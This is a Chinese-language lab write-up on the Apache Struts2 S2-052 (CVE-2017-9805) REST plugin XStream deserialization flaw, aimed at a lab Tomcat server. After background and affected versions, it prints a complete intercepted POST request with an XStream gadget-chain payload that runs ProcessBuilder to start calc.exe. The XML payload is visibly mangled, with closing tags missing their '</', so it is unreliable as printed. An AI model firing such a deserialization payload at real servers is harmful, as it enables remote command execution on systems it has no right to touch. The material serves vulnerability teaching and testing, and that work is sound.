【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)

**操作机:**Windows 7

**目标IP:**172.16.11.2:8080

实验工具:
Burp Suite:是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架,本次试验主要用到它的抓包改包功能。
Metasploit:一款开源的安全漏洞检测利用工具

实验内容:

Struts

Struts是Apache基金会的一个开源项目,Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。

目前,Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设,作为网站开发的底层模板使用,是应用最广泛的Web应用框架之一。

漏洞介绍:
Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-052,CVE编号CVE-2017-9805。

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

影响范围

Struts 2.5 - Struts 2.5.12

不受影响的版本

Struts 2.5.13

快速检测方式

使用知道创宇SeeBug可以直接检测站点是否存在本漏洞

漏洞危害

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

实验步骤
步骤1:开启代理,访问目标网站
启动tomcat服务器,进行操作
【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)_第1张图片
打开页面:
【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)_第2张图片
编辑页面,打开抓包工具在提交信息前设置代理,抓包–>然后改包
将抓取的包改为如下:
修改POST数据包如下:

POST /struts2-rest-showcase/orders/3/edit;jsessionid=F455F4577F3AC37C743B888B17C7A05E HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 1659
Referer: http://127.0.0.1:8080/orders/3/edit
Cookie: JSESSIONID=F455F4577F3AC37C743B888B17C7A05E
Connection: close
Upgrade-Insecure-Requests: 1


<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>falseinitialized> <opmode>0opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>C:\Windows\System32\calc.exe string>command> <redirectErrorStream>falseredirectErrorStream> next> iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilderclass> <name>startname> <parameter-types/> method> <name>fooname> filter> <next class="string">foonext> serviceIterator> <lock/> cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer>ibuffer> <done>falsedone> <ostart>0ostart> <ofinish>0ofinish> <closed>falseclosed> is> <consumed>falseconsumed> dataSource> <transferFlavors/> dataHandler> <dataLen>0dataLen> value> jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
entry> 
map>

如图:

【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)_第3张图片
点击forward传到tomcat服务器,可以检测出存在漏洞。
500代表服务器存在问题:
【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)_第4张图片

你可能感兴趣的:(web安全漏洞)